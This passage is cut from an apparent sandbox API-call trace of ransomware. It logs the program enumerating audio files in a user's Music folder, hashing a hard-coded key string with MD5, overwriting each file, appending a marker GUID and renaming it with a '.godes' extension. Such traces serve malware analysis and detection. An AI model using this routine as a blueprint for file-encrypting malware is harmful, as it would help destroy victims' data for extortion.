"c:\\users\\5p5nrgjn0js halpmcxz\\music\\3te1mnoot738p.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.445] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=39755) returned 1 [0113.445] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.447] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9b25, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.447] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.449] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.449] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.449] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.449] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x9b4b, lpOverlapped=0x0) returned 1 [0113.450] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.450] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.450] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.450] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.450] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0113.450] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.450] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.451] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.451] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.451] GetLastError () returned 0x0 [0113.451] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.451] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0113.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x9b50) returned 0x3321120 [0113.451] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.451] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x9b46, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x9b46, lpOverlapped=0x0) returned 1 [0113.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.451] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9b4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.451] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.451] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.452] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.452] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.452] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.452] CloseHandle (hObject=0x624) returned 1 [0113.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.453] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0113.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0113.453] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\3TE1MNOOt738p.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\3te1mnoot738p.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\3TE1MNOOt738p.m4a.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\3te1mnoot738p.m4a.godes")) returned 1 [0113.453] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.453] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.454] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb28b56d0, ftCreationTime.dwHighDateTime=0x1d4d369, ftLastAccessTime.dwLowDateTime=0xfaaa4630, ftLastAccessTime.dwHighDateTime=0x1d4c60b, ftLastWriteTime.dwLowDateTime=0xfaaa4630, ftLastWriteTime.dwHighDateTime=0x1d4c60b, nFileSizeHigh=0x0, nFileSizeLow=0x11951, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7N2xpAEAZRgVp.m4a", cAlternateFileName="7N2XPA~1.M4A")) returned 1 [0113.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.454] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.454] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.454] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7N2xpAEAZRgVp.m4a") returned=".m4a" [0113.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7N2xpAEAZRgVp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7n2xpaeazrgvp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.455] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=72017) returned 1 [0113.455] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.456] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1192b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.456] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.458] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.458] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.458] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.458] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x11951, lpOverlapped=0x0) returned 1 [0113.459] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.459] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.459] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.459] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.459] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0113.460] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.460] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.460] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.460] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.460] GetLastError () returned 0x0 [0113.460] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.460] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0113.460] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.460] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11950) returned 0x3321120 [0113.460] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.460] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.460] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x1194c, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x1194c, lpOverlapped=0x0) returned 1 [0113.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.461] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11951, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.461] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.461] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.461] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.461] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.461] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.461] CloseHandle (hObject=0x624) returned 1 [0113.462] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.462] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0113.462] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0113.462] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7N2xpAEAZRgVp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7n2xpaeazrgvp.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7N2xpAEAZRgVp.m4a.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7n2xpaeazrgvp.m4a.godes")) returned 1 [0113.463] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.463] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.464] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.464] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d26de0, ftCreationTime.dwHighDateTime=0x1d4cbd0, ftLastAccessTime.dwLowDateTime=0x909a7bf0, ftLastAccessTime.dwHighDateTime=0x1d4ce3c, ftLastWriteTime.dwLowDateTime=0x909a7bf0, ftLastWriteTime.dwHighDateTime=0x1d4ce3c, nFileSizeHigh=0x0, nFileSizeLow=0x16207, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BKfdC5oaIRvpZH6X7.wav", cAlternateFileName="BKFDC5~1.WAV")) returned 1 [0113.464] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.464] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0113.464] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.464] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\BKfdC5oaIRvpZH6X7.wav") returned=".wav" [0113.464] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\BKfdC5oaIRvpZH6X7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bkfdc5oairvpzh6x7.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.464] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=90631) returned 1 [0113.464] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.466] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x161e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.466] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.467] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.467] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.467] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.467] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x16207, lpOverlapped=0x0) returned 1 [0113.468] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.468] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.468] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.468] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.468] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.469] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.469] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.469] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.469] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.469] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.469] GetLastError () returned 0x0 [0113.469] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.469] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.469] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x16210) returned 0x3321120 [0113.470] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.470] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.470] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x16202, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x16202, lpOverlapped=0x0) returned 1 [0113.470] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.470] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16207, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.470] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.470] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.470] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.470] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.471] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.471] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.471] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.471] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.471] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.471] CloseHandle (hObject=0x624) returned 1 [0113.472] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.472] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0113.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.472] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\BKfdC5oaIRvpZH6X7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bkfdc5oairvpzh6x7.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\BKfdC5oaIRvpZH6X7.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bkfdc5oairvpzh6x7.wav.godes")) returned 1 [0113.472] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.472] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0113.473] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.473] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned=".ini" [0113.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.473] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda801650, ftCreationTime.dwHighDateTime=0x1d4d30d, ftLastAccessTime.dwLowDateTime=0x56da9400, ftLastAccessTime.dwHighDateTime=0x1d4d340, ftLastWriteTime.dwLowDateTime=0x56da9400, ftLastWriteTime.dwHighDateTime=0x1d4d340, nFileSizeHigh=0x0, nFileSizeLow=0x644d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ejdJB5Su3HZ_V.mp3", cAlternateFileName="EJDJB5~1.MP3")) returned 1 [0113.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.474] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ejdJB5Su3HZ_V.mp3") returned=".mp3" [0113.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ejdJB5Su3HZ_V.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ejdjb5su3hz_v.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.475] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=25677) returned 1 [0113.475] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.476] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x6427, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.476] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.478] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.478] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x644d, lpOverlapped=0x0) returned 1 [0113.479] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.479] 